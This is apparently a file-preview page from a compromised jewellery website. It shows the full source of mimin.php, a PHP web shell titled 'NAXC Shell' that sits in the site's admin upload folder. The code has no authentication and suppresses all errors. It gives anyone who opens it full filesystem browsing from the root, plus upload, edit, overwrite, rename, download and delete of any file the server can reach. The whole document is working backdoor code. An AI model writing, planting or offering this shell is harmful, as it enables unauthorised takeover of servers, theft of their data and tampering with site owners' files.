Preview: mimin.php
Size: 12.64 KB
/home/urbanman/rpjeweller.com/admin/upload/mimin.php
<?=
/**
* NAXC.PHP — Fix directory navigation
*
* Changes in this patch:
* - Accept directory parameter from GET as well as POST so navigation works reliably.
* - goDir() now navigates via GET (location.href) which is simpler and avoids any POST/redirect interference.
* - redirect() preserves current directory by default so after actions you stay in the same folder.
* - Minor safety and path normalization improvements.
*
* Behaviour remains the same for edit/download/delete/rename/upload tools.
*/
error_reporting(0);
@set_time_limit(0);
@ini_set('display_errors', 0);
session_start();
/* ============================================================
BASIC ENV SETUP
============================================================ */
define('SELF', basename(__FILE__));
define('ROOT', str_replace('\', '/', getcwd()));
/*
* Accept `d` (base64-encoded path) from either GET or POST.
* Using GET for navigation (goDir will now do a GET). POST is still supported
* for form-based actions like upload/rename/save/delete/download.
*/
$raw_d = null;
if (isset($_GET['d'])) {
$raw_d = $_GET['d'];
} elseif (isset($_POST['d'])) {
$raw_d = $_POST['d'];
}
$cwd = ROOT;
if (!empty($raw_d)) {
// raw_d is expected base64 encoded string
$decoded = base64_decode($raw_d, true);
if ($decoded !== false && $decoded !== '') {
// realpath might return false for non-existing paths; keep decoded if realpath fails
$real = realpath($decoded);
$cwd = $real !== false ? str_replace('\', '/', $real) : str_replace('\', '/', $decoded);
}
}
$cwd = rtrim($cwd, '/');
if ($cwd === '') $cwd = '/';
/* ============================================================
HELPERS
============================================================ */
function h($str) {
return htmlspecialchars($str, ENT_QUOTES);
}
function b64e($v) {
return base64_encode($v);
}
function b64d($v) {
return base64_decode($v);
}
/**
* Redirect to SELF and preserve current directory ($cwd) so after actions
* user stays in the same folder.
*/
function redirect($cwd = null) {
$url = SELF;
if ($cwd !== null) {
$url .= '?d=' . urlencode(b64e($cwd));
} else {
global $cwd;
$url .= '?d=' . urlencode(b64e($cwd));
}
header("Location: " . $url);
exit;
}
function alert($msg) {
$_SESSION['alert'] = $msg;
}
function flash() {
if (!empty($_SESSION['alert'])) {
echo '<div style="padding:10px;margin-bottom:10px;background:#222;color:#0f0">'
. h($_SESSION['alert']) .
'</div>';
unset($_SESSION['alert']);
}
}
/* ============================================================
FILE OPERATIONS
============================================================ */
function uploadFile($dir) {
if (!isset($_FILES['file'])) return;
$target = rtrim($dir, '/\') . '/' . basename($_FILES['file']['name']);
if (@move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
alert('Upload success');
} else {
alert('Upload failed');
}
}
function deleteFile($path) {
if (@unlink($path)) {
alert('Delete success');
} else {
alert('Delete failed');
}
}
function renameFile($old, $new) {
$newPath = dirname($old) . '/' . $new;
if (@rename($old, $newPath)) {
alert('Rename success');
} else {
alert('Rename failed');
}
}
function saveFile($path, $content) {
if (file_put_contents($path, $content) !== false) {
alert('File saved');
} else {
alert('Save failed');
}
}
/* ============================================================
ACTION ROUTER
(POST actions only; navigation is via GET)
============================================================ */
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Upload
if (isset($_POST['upload'])) {
uploadFile($cwd);
redirect($cwd);
}
// Delete (expects base64 encoded value)
if (isset($_POST['delete'])) {
$value = b64d($_POST['delete']);
deleteFile($value);
redirect($cwd);
}
// Rename (rename form posts rename + newname)
if (isset($_POST['rename']) && isset($_POST['newname'])) {
$old = b64d($_POST['rename']);
$new = $_POST['newname'];
renameFile($old, $new);
redirect($cwd);
}
// Save edit
if (isset($_POST['save']) && isset($_POST['file'])) {
$file = b64d($_POST['file']);
$content = isset($_POST['content']) ? $_POST['content'] : '';
saveFile($file, $content);
redirect($cwd);
}
// Download handled later because it sends headers + exits
}
/* ============================================================
DIRECTORY HELPERS
============================================================ */
function formatSize($bytes) {
if ($bytes >= 1073741824) return round($bytes / 1073741824, 2) . ' GB';
if ($bytes >= 1048576) return round($bytes / 1048576, 2) . ' MB';
if ($bytes >= 1024) return round($bytes / 1024, 2) . ' KB';
return $bytes . ' B';
}
function perms($file) {
$perms = @fileperms($file);
if ($perms === false) return '---------';
$info = ($perms & 0x4000) ? 'd' : '-';
$info .= ($perms & 0x0100) ? 'r' : '-';
$info .= ($perms & 0x0080) ? 'w' : '-';
$info .= ($perms & 0x0040) ? 'x' : '-';
$info .= ($perms & 0x0020) ? 'r' : '-';
$info .= ($perms & 0x0010) ? 'w' : '-';
$info .= ($perms & 0x0008) ? 'x' : '-';
$info .= ($perms & 0x0004) ? 'r' : '-';
$info .= ($perms & 0x0002) ? 'w' : '-';
$info .= ($perms & 0x0001) ? 'x' : '-';
return $info;
}
function breadcrumb($path) {
$parts = explode('/', trim($path, '/'));
$build = '';
echo '<div style="margin:10px 0;">';
// root link: uses GET navigation
echo '<a href="' . SELF . '?d=' . urlencode(b64e('/')) . '">/</a>';
foreach ($parts as $p) {
if ($p === '') continue;
$build .= '/' . $p;
echo ' / <a href="' . SELF . '?d=' . urlencode(b64e($build)) . '">' . h($p) . '</a>';
}
echo '</div>';
}
/* ============================================================
DIRECTORY LISTING
============================================================ */
$items = @scandir($cwd);
$dirs = [];
$files = [];
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $cwd . '/' . $item;
if (is_dir($full)) {
$dirs[] = $item;
} else {
$files[] = $item;
}
}
}
/* ============================================================
UI: HEADER + BREADCRUMB
============================================================ */
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>NAXC Shell</title>
<style>
body{background:#0e0e0e;color:#ddd;font-family:monospace}
a{color:#5bc0ff;text-decoration:none}
table{width:100%;border-collapse:collapse;margin-top:10px}
th,td{padding:6px;border-bottom:1px solid #222}
th{text-align:left;color:#aaa}
tr:hover{background:#151515}
input,textarea,button{background:#111;color:#eee;border:1px solid #333;padding:5px}
button{cursor:pointer}
</style>
<script>
/**
* base64EncodeUnicode: UTF-8 safe base64
*/
function base64EncodeUnicode(str) {
try {
return btoa(unescape(encodeURIComponent(str)));
} catch (e) {
try { return btoa(str); } catch (e2) { return ''; }
}
}
/**
* goDir: navigate using GET with base64-encoded path in `d` param.
* This is simpler and ensures navigation works reliably across browsers,
* avoids issues with POST handling and redirects.
*/
function goDir(d) {
const encoded = base64EncodeUnicode(d);
// use location.href to navigate with GET
location.href = '<?= SELF ?>?d=' + encodeURIComponent(encoded);
}
/**
* act: generic POST for edit/download/delete/rename actions
* (these need to be POST to allow download and file modifications)
*/
function act(name, val) {
// create and submit a POST form
const f = document.createElement('form');
f.method = 'post';
f.style.display = 'none';
const i = document.createElement('input');
i.type = 'hidden';
i.name = name;
i.value = base64EncodeUnicode(val);
f.appendChild(i);
document.body.appendChild(f);
f.submit();
}
</script>
</head>
<body>
<?php flash(); ?>
<h2>NAXC File Manager</h2>
<div>Home: <a href="<?php echo basename($_SERVER['PHP_SELF']); ?>" style="color:#ddd;"><?= h(getcwd()) ?></a></div>
<?php breadcrumb($cwd); ?>
<?php
/* ============================================================
DOWNLOAD HANDLER
(must be after the listing so we can capture POST actions)
============================================================ */
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['download'])) {
$file = b64d($_POST['download']);
if (!is_file($file) || !file_exists($file)) {
alert('File not found');
redirect($cwd);
}
if (ob_get_level()) {
ob_end_clean();
}
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Content-Length: '.filesize($file));
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Expires: 0');
readfile($file);
exit;
}
/* ============================================================
EDITOR UI
============================================================ */
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit'])):
$file = b64d($_POST['edit']);
if (!is_file($file)) {
alert('File not editable');
redirect($cwd);
}
?>
<hr>
<h3>Editing: <?= h(basename($file)) ?></h3>
<form method="post">
<textarea name="content" style="width:100%;height:350px"><?php
echo h(file_get_contents($file));
?></textarea>
<input type="hidden" name="file" value="<?= b64e($file) ?>">
<br><br>
<button type="submit" name="save">Save</button>
<button type="button" onclick="goDir(<?= json_encode(dirname($file)) ?>)">Cancel</button>
</form>
<hr>
<?php endif; ?>
<?php
/* ============================================================
RENAME UI
============================================================ */
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['rename']) && !isset($_POST['newname'])):
$file = b64d($_POST['rename']);
?>
<hr>
<h3>Rename: <?= h(basename($file)) ?></h3>
<form method="post">
<input type="text" name="newname" value="<?= h(basename($file)) ?>">
<input type="hidden" name="rename" value="<?= b64e($file) ?>">
<br><br>
<button type="submit">Rename</button>
<button type="button" onclick="goDir(<?= json_encode(dirname($file)) ?>)">Cancel</button>
</form>
<hr>
<?php endif; ?>
<?php
/* ============================================================
UPLOAD UI
============================================================ */
?>
<hr>
<h3>Upload File</h3>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<!-- keep hidden d so server knows where to upload -->
<input type="hidden" name="d" value="<?= b64e($cwd) ?>">
<button type="submit" name="upload">Upload</button>
</form>
<hr>
<table>
<tr>
<th>Name</th>
<th>Size</th>
<th>Perms</th>
<th>Action</th>
</tr>
<?php foreach ($dirs as $d): ?>
<tr>
<td>
📁 <a href="javascript:void(0)" onclick='goDir(<?= json_encode($cwd . "/" . $d) ?>)'><?= h($d) ?></a>
</td>
<td>—</td>
<td><?= perms($cwd.'/'.$d) ?></td>
<td>—</td>
</tr>
<?php endforeach; ?>
<?php foreach ($files as $f):
$full = $cwd . '/' . $f;
?>
<tr>
<td>📄 <?= h($f) ?></td>
<td><?= formatSize(@filesize($full)) ?></td>
<td><?= perms($full) ?></td>
<td>
<a href="#" onclick="act('edit', <?= htmlspecialchars(json_encode($full), ENT_QUOTES) ?>); return false;">Edit</a> |
<a href="#" onclick="act('rename', <?= htmlspecialchars(json_encode($full), ENT_QUOTES) ?>); return false;">Rename</a> |
<a href="#" onclick="act('download', <?= htmlspecialchars(json_encode($full), ENT_QUOTES) ?>); return false;">Download</a> |
<a href="#" onclick="act('delete', <?= htmlspecialchars(json_encode($full), ENT_QUOTES) ?>); return false;">Delete</a>
</td>
</tr>
<?php endforeach; ?>
</table>
</body>
</html>
Directory Contents
Dirs: 0 × Files: 104